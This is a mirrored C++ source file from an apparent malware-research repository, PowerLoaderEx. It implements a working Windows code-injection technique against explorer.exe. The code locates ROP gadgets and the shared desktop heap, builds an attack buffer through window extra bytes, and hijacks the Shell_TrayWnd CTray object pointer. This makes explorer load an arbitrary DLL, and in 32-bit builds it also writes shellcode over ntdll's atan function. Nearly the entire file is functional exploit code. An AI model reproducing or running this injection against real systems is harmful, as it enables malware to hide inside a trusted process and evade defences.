mirror of
https://github.com/BreakingMalware/PowerLoaderEx
synced 2026-06-08 10:31:07 +00:00
513 lines
13 KiB
C++
513 lines
13 KiB
C++
// PowerLoaderEx.cpp : Defines the entry point for the application.
|
|
//
|
|
#include <windows.h>
|
|
#include <tchar.h>
|
|
#include <TlHelp32.h>
|
|
#include <Psapi.h>
|
|
#include <Shlwapi.h>
|
|
#include <Winternl.h>
|
|
#pragma comment(lib, "Shlwapi.lib")
|
|
#define MAX_LOADSTRING 100
|
|
TCHAR szTitle[MAX_LOADSTRING] = _T("PowerLoaderEx"); // The title bar text
|
|
TCHAR szWindowClass[MAX_LOADSTRING] = _T("PowerLoaderExCls"); // the main window class name
|
|
|
|
// Forward declarations of functions included in this code module:
|
|
ATOM MyRegisterClass(HINSTANCE hInstance);
|
|
BOOL InjectExplorer(HWND myWnd);
|
|
|
|
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
|
|
_In_opt_ HINSTANCE hPrevInstance,
|
|
_In_ LPTSTR lpCmdLine,
|
|
_In_ int nCmdShow)
|
|
{
|
|
UNREFERENCED_PARAMETER(hPrevInstance);
|
|
UNREFERENCED_PARAMETER(lpCmdLine);
|
|
|
|
// Initialize global strings
|
|
MyRegisterClass(hInstance);
|
|
|
|
// Perform application initialization:
|
|
HWND hWnd;
|
|
|
|
hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
|
|
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
|
|
|
|
if (!hWnd)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
LoadLibrary(_T("Shell32.dll"));
|
|
InjectExplorer(hWnd);
|
|
Sleep(1000);
|
|
TerminateProcess(NULL, 1);
|
|
return TRUE;
|
|
}
|
|
|
|
PBYTE SearchMemory(PBYTE Start, SIZE_T Size, PBYTE Buffer, SIZE_T BufLen)
|
|
{
|
|
while (Size > BufLen)
|
|
{
|
|
if (memcmp(Start, Buffer, BufLen) == 0)
|
|
{
|
|
return Start;
|
|
}
|
|
|
|
Start++;
|
|
Size--;
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
PBYTE ExpressionSearchMemory(PBYTE Start, SIZE_T Size, PBYTE Buffer, SIZE_T BufLen)
|
|
{
|
|
while (Size > BufLen)
|
|
{
|
|
UINT i = 0;
|
|
for (; i < BufLen; i++)
|
|
{
|
|
if (Buffer[i] == '?')
|
|
{
|
|
continue;
|
|
}
|
|
else if (Buffer[i] != Start[i])
|
|
{
|
|
break;
|
|
}
|
|
}
|
|
if (i >= BufLen)
|
|
{
|
|
return Start;
|
|
}
|
|
|
|
Start++;
|
|
Size--;
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
|
|
const TCHAR *ModulesList[] = { _T("ntdll.dll"), _T("kernel32.dll"), _T("kernelbase.dll"), _T("user32.dll"), _T("shell32.dll"), NULL };
|
|
|
|
#define EXACT_GADGET 1
|
|
#define EXPRESSION_GADGET 2
|
|
|
|
typedef struct _GADGET {
|
|
const CHAR *Gadget;
|
|
UINT Len;
|
|
const TCHAR *Module;
|
|
PVOID ModuleBase;
|
|
SIZE_T Offset;
|
|
UINT Type;
|
|
} GADGET, *PGADGET;
|
|
|
|
GADGET Gadgets[] = {
|
|
#ifdef _WIN64
|
|
{ "\xC3", 2, NULL, NULL, 0, EXACT_GADGET },
|
|
#else
|
|
{ "\xFD\xC3", 2, NULL, NULL, 0, EXACT_GADGET }, /*std,ret;*/
|
|
{ "\xFC\xC3", 2, NULL, NULL, 0, EXACT_GADGET }, /*cld,ret;*/
|
|
{ "\x58\xc3", 2, NULL, NULL, 0, EXACT_GADGET }, /*pop rax,ret;*/
|
|
{ "\xFF\xE0", 2, NULL, NULL, 0, EXACT_GADGET }, /*jmp rax*/
|
|
{ "\xb9\x94\x00\x00\x00\xf3\xa5\x5f\x33\xc0\x5e\x5d\xc2\x08\x00", 15, NULL, NULL, 0, EXACT_GADGET },
|
|
{ "\xff\xd0\xc3", 3, NULL, NULL, 0, EXACT_GADGET }, /*call rbx,ret;*/
|
|
#endif
|
|
{ NULL, 0, NULL, NULL, 0 }
|
|
};
|
|
|
|
#define GADGET_ADDRESS(g) ((SIZE_T)(g).ModuleBase + (SIZE_T)(g).Offset)
|
|
|
|
BOOL FindGadgets(HANDLE TargetProcess)
|
|
{
|
|
UINT i = 0;
|
|
UINT j = 0;
|
|
HMODULE Module;
|
|
const TCHAR *ModuleName = NULL;
|
|
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
|
|
PBYTE RegionStart;
|
|
PBYTE GadgetStart;
|
|
BOOL FoundGadget = FALSE;
|
|
TCHAR Name[MAX_PATH + 1] = { 0 };
|
|
|
|
while (Gadgets[i].Gadget)
|
|
{
|
|
j = 0;
|
|
|
|
FoundGadget = FALSE;
|
|
|
|
while (!FoundGadget && ModulesList[j])
|
|
{
|
|
Module = GetModuleHandle(ModulesList[j]);
|
|
|
|
RegionStart = (PBYTE)Module;
|
|
|
|
while (!FoundGadget && VirtualQuery(RegionStart, &MemInfo, sizeof(MemInfo)) && MemInfo.AllocationBase == (PVOID)Module)
|
|
{
|
|
if (MemInfo.State == MEM_COMMIT && MemInfo.Type == MEM_IMAGE && (MemInfo.Protect == PAGE_EXECUTE || MemInfo.Protect == PAGE_EXECUTE_READ))
|
|
{
|
|
if (Gadgets[i].Type == EXACT_GADGET)
|
|
{
|
|
GadgetStart = SearchMemory((PBYTE)MemInfo.BaseAddress, MemInfo.RegionSize, (PBYTE)Gadgets[i].Gadget, Gadgets[i].Len);
|
|
}
|
|
else
|
|
{
|
|
GadgetStart = ExpressionSearchMemory((PBYTE)MemInfo.BaseAddress, MemInfo.RegionSize, (PBYTE)Gadgets[i].Gadget, Gadgets[i].Len);
|
|
}
|
|
if (GadgetStart)
|
|
{
|
|
Gadgets[i].Module = ModulesList[j];
|
|
Gadgets[i].ModuleBase = Module;
|
|
Gadgets[i].Offset = (SIZE_T)GadgetStart - (SIZE_T)Module;
|
|
|
|
FoundGadget = TRUE;
|
|
break;
|
|
|
|
}
|
|
}
|
|
RegionStart += MemInfo.RegionSize;
|
|
}
|
|
|
|
j++;
|
|
}
|
|
|
|
if (!FoundGadget)
|
|
{
|
|
return FALSE;
|
|
}
|
|
i++;
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
|
|
#define NUM_OF_MAGICS 4
|
|
ULONG Magics[NUM_OF_MAGICS] = { 0xABABABAB, 0xCDCDCDCD, 0xABABABAB, 0xCDCDCDCD };
|
|
|
|
|
|
PVOID FindProecssDesktopHeap(HANDLE ProecssHandle, SIZE_T HeapSize)
|
|
{
|
|
BYTE *Addr = (BYTE*)0x1000;
|
|
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
|
|
ULONG OldProt = 0;
|
|
|
|
while (VirtualQueryEx(ProecssHandle, Addr, &MemInfo, sizeof(MemInfo)))
|
|
{
|
|
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT && MemInfo.RegionSize == HeapSize)
|
|
{
|
|
// Double check.
|
|
if (!VirtualProtectEx(ProecssHandle, Addr, 0x1000, PAGE_READWRITE, &OldProt))
|
|
{
|
|
return MemInfo.BaseAddress;
|
|
}
|
|
else
|
|
{
|
|
VirtualProtectEx(ProecssHandle, Addr, 0x1000, OldProt, &OldProt);
|
|
}
|
|
}
|
|
Addr += MemInfo.RegionSize;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
|
|
PVOID FindDesktopHeap(HWND myWnd, SIZE_T *MagicOffset, SIZE_T *size)
|
|
{
|
|
MEMORY_BASIC_INFORMATION MemInfo = { 0 };
|
|
BYTE *Addr = (BYTE*)0x1000;
|
|
PBYTE tmp;
|
|
ULONG OldProt = 0;
|
|
|
|
// insert the magic we will look for.
|
|
for (UINT i = 0; i < NUM_OF_MAGICS; i++)
|
|
{
|
|
SetLastError(0);
|
|
SetWindowLong(myWnd, i*sizeof(ULONG), Magics[i]);
|
|
if (GetLastError() != 0)
|
|
{
|
|
return NULL;
|
|
}
|
|
}
|
|
// Try to find the magics.
|
|
while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo)))
|
|
{
|
|
if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT)
|
|
{
|
|
tmp = SearchMemory((PBYTE)MemInfo.BaseAddress, MemInfo.RegionSize, (PBYTE)Magics, sizeof(Magics));
|
|
if (tmp && !VirtualProtect(Addr, 0x1000, PAGE_READWRITE, &OldProt))
|
|
{
|
|
// return section information.
|
|
*size = MemInfo.RegionSize;
|
|
*MagicOffset = (SIZE_T)tmp - (SIZE_T)MemInfo.AllocationBase;
|
|
return MemInfo.BaseAddress;
|
|
}
|
|
}
|
|
Addr += MemInfo.RegionSize;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
|
|
#ifdef _WIN64
|
|
#define _fnINSTRINGNULL_INDEX 0x1a
|
|
PVOID BuildAttackBuffer(HWND window, PVOID ExplorerSharedHeap, SIZE_T WindowBufferOffset)
|
|
{
|
|
PVOID LoadLibraryAddr = (PVOID)GetProcAddress(LoadLibrary(_T("kernel32.dll")), "LoadLibraryA");
|
|
UINT CurrIndex = 0;
|
|
|
|
// Get the callback table.
|
|
PTEB Teb = NtCurrentTeb();
|
|
PBYTE Peb = (PBYTE)Teb->ProcessEnvironmentBlock;
|
|
PVOID* CallbackTable = *(PVOID**)((PBYTE)Peb + 0x58);
|
|
PVOID TargetFunction = CallbackTable[_fnINSTRINGNULL_INDEX];
|
|
|
|
#define SET_LONG(value) SetWindowLongPtr(window, CurrIndex*8, (LONG_PTR)value);CurrIndex++;
|
|
SET_LONG((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + 0x10);
|
|
SET_LONG(0); // Must be zero
|
|
SET_LONG(TargetFunction); // Make it point to target function
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[0])); // This should point to ret
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[0])); // This should point to ret
|
|
SET_LONG(ExplorerSharedHeap + WindowBufferOffset + (CurrIndex+5)*8); // This should point to the library to load
|
|
SET_LONG(5);
|
|
SET_LONG(6);
|
|
SET_LONG(7);
|
|
SET_LONG(LoadLibraryAddr); // This is the LoadLibraryFunction
|
|
|
|
// Now we write the library to load
|
|
SET_LONG(0x6c6c642e785c3a63); // This is c:\\x.dll
|
|
SET_LONG(0);
|
|
|
|
#undef SET_LONG
|
|
|
|
return (PVOID)((SIZE_T)ExplorerSharedHeap + WindowBufferOffset);
|
|
}
|
|
|
|
#else
|
|
|
|
PVOID BuildAttackBuffer(HWND window, PVOID ExplorerSharedHeap, SIZE_T WindowBufferOffset)
|
|
{
|
|
PVOID KiUserApcDispatcher = (PVOID)GetProcAddress(LoadLibrary(_T("ntdll.dll")), "KiUserApcDispatcher");
|
|
PVOID WriteProcessMemory = (PVOID)GetProcAddress(LoadLibrary(_T("kernel32.dll")), "WriteProcessMemory");
|
|
PVOID ntchkstk = (PVOID)GetProcAddress(LoadLibrary(_T("ntdll.dll")), "_chkstk");
|
|
PVOID atan = (PVOID)GetProcAddress(LoadLibrary(_T("ntdll.dll")), "atan");
|
|
PVOID LoadLibraryAddr = (PVOID)GetProcAddress(LoadLibrary(_T("kernel32.dll")), "LoadLibraryA");
|
|
UINT CurrIndex = 0;
|
|
UINT returnedIdx = 0;
|
|
UINT ShellcodeAddrIndx = 0;
|
|
UINT ShellcodeStartIndx = 0;
|
|
UINT LoadedLibraryStrIndx = 0;
|
|
#define SET_LONG(value) SetWindowLong(window, CurrIndex*4, (ULONG)value);CurrIndex++;
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[5]) + 2); // call eax ret
|
|
SET_LONG(0xFFFFFFFF); // Current process
|
|
SET_LONG(atan); // where to write
|
|
ShellcodeAddrIndx = CurrIndex;
|
|
SET_LONG(1); // what to write
|
|
SET_LONG(0x70); // how much to write
|
|
SET_LONG(0); // where to write the bytes written.
|
|
SET_LONG(atan); // Run shellcode.
|
|
SET_LONG(6); // where to land.
|
|
SET_LONG(7);
|
|
SET_LONG(8);
|
|
SET_LONG(9);
|
|
SET_LONG(10);
|
|
SET_LONG(11);
|
|
SET_LONG(12);
|
|
SET_LONG(13);
|
|
SET_LONG(14);
|
|
SET_LONG(15);
|
|
SET_LONG(16);
|
|
SET_LONG(17);
|
|
SET_LONG(18);
|
|
SET_LONG(0);
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[1]));
|
|
SET_LONG(0);
|
|
SET_LONG(0);
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[2]));
|
|
SET_LONG(0x70);
|
|
SET_LONG(ntchkstk);
|
|
SET_LONG(WriteProcessMemory);
|
|
returnedIdx = CurrIndex;
|
|
SET_LONG((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + (CurrIndex + 4) * 4);
|
|
SET_LONG(0);
|
|
SET_LONG(0);
|
|
SET_LONG(0);
|
|
SET_LONG(KiUserApcDispatcher);
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[4]));
|
|
SET_LONG(GADGET_ADDRESS(Gadgets[0]));
|
|
LoadedLibraryStrIndx = CurrIndex;
|
|
SET_LONG(0x785c3a63);
|
|
SET_LONG(0x6c6c642e); // This is c:\\x.dll
|
|
SET_LONG(0);
|
|
ShellcodeStartIndx = CurrIndex;
|
|
SET_LONG(0x68909090);
|
|
SET_LONG((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + LoadedLibraryStrIndx * 4);
|
|
SET_LONG(0xb8909090);
|
|
SET_LONG((LONG)LoadLibraryAddr);
|
|
SET_LONG(0x9090d0ff);
|
|
SET_LONG(0xc35cc483); // Fix stack and return
|
|
SetWindowLong(window, ShellcodeAddrIndx * 4, (SIZE_T)ExplorerSharedHeap + WindowBufferOffset + ShellcodeStartIndx * 4);
|
|
#undef SET_LONG
|
|
|
|
return (PVOID)((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + returnedIdx * 4);
|
|
|
|
}
|
|
#endif
|
|
|
|
DWORD GetExplorerPID()
|
|
{
|
|
HANDLE hProcessSnap;
|
|
PROCESSENTRY32 pe32 = { 0 };
|
|
DWORD Pid = 0;
|
|
|
|
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
pe32.dwSize = sizeof(PROCESSENTRY32);
|
|
|
|
if (!Process32First(hProcessSnap, &pe32))
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
do
|
|
{
|
|
if (_tcscmp(pe32.szExeFile, _T("explorer.exe")) == 0)
|
|
{
|
|
Pid = pe32.th32ProcessID;
|
|
break;
|
|
}
|
|
} while (Process32Next(hProcessSnap, &pe32));
|
|
|
|
CloseHandle(hProcessSnap);
|
|
if (Pid == 0)
|
|
{
|
|
return 0;
|
|
}
|
|
|
|
return Pid;
|
|
}
|
|
|
|
BOOL InjectExplorer(HWND myWnd)
|
|
{
|
|
BOOL ret = TRUE;
|
|
PVOID CTrayObj;
|
|
PVOID DesktopHeapBase = NULL;
|
|
PVOID ExplorerDesktopHeap = NULL;
|
|
SIZE_T SharedHeapSize = NULL;
|
|
SIZE_T WindowBufferOffset = NULL;
|
|
HANDLE ExplorerHandle = NULL;
|
|
DWORD pid;
|
|
|
|
// Find the desktop heap in the current process
|
|
DesktopHeapBase = FindDesktopHeap(myWnd, &WindowBufferOffset, &SharedHeapSize);
|
|
|
|
if (!DesktopHeapBase)
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
|
|
// Get the PID for explorer.exe
|
|
pid = GetExplorerPID();
|
|
|
|
if (!pid)
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
|
|
// Open explorer.exe
|
|
ExplorerHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, FALSE, pid);
|
|
|
|
if (!ExplorerHandle)
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
|
|
#ifndef _WIN64
|
|
// Find required Gadgets on 64 bit.
|
|
if (!FindGadgets(ExplorerHandle))
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
#endif
|
|
|
|
// Find Explorer's desktop heap
|
|
ExplorerDesktopHeap = FindProecssDesktopHeap(ExplorerHandle, SharedHeapSize);
|
|
|
|
if (!ExplorerDesktopHeap)
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
|
|
// Find the target window
|
|
HWND hShellTrayWnd = FindWindow(_T("Shell_TrayWnd"), NULL);
|
|
|
|
if (!hShellTrayWnd)
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
|
|
// Get the CTray object
|
|
CTrayObj = (PVOID)GetWindowLongPtr(hShellTrayWnd, 0);
|
|
|
|
if (!hShellTrayWnd)
|
|
{
|
|
ret = FALSE;
|
|
goto clean;
|
|
}
|
|
|
|
// Build the attack buffer on the window.
|
|
PVOID MaliciousCTrayObj = BuildAttackBuffer(myWnd, ExplorerDesktopHeap, WindowBufferOffset);
|
|
|
|
// Overwrite the CTray Object
|
|
SetWindowLongPtr(hShellTrayWnd, 0, (LONG_PTR)MaliciousCTrayObj);
|
|
|
|
// Trigger the injection
|
|
SendNotifyMessage(hShellTrayWnd, WM_PAINT, 0xABABABAB, 0);
|
|
|
|
// Wait For It
|
|
Sleep(1000);
|
|
|
|
// Restore Old Object
|
|
SetWindowLongPtr(hShellTrayWnd, 0, (LONG_PTR)CTrayObj);
|
|
|
|
clean:
|
|
if (ExplorerHandle)
|
|
{
|
|
CloseHandle(ExplorerHandle);
|
|
}
|
|
|
|
return ret;
|
|
}
|
|
|
|
|
|
ATOM MyRegisterClass(HINSTANCE hInstance)
|
|
{
|
|
WNDCLASSEX wcex;
|
|
|
|
wcex.cbSize = sizeof(WNDCLASSEX);
|
|
|
|
wcex.style = CS_HREDRAW | CS_VREDRAW;
|
|
wcex.lpfnWndProc = DefWindowProc;
|
|
wcex.cbClsExtra = 0;
|
|
wcex.cbWndExtra = 0x200;
|
|
wcex.hInstance = hInstance;
|
|
wcex.hIcon = NULL;
|
|
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
|
|
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
|
|
wcex.lpszMenuName = NULL;
|
|
wcex.lpszClassName = szWindowClass;
|
|
wcex.hIconSm = NULL;
|
|
|
|
return RegisterClassEx(&wcex);
|
|
}
|
|
|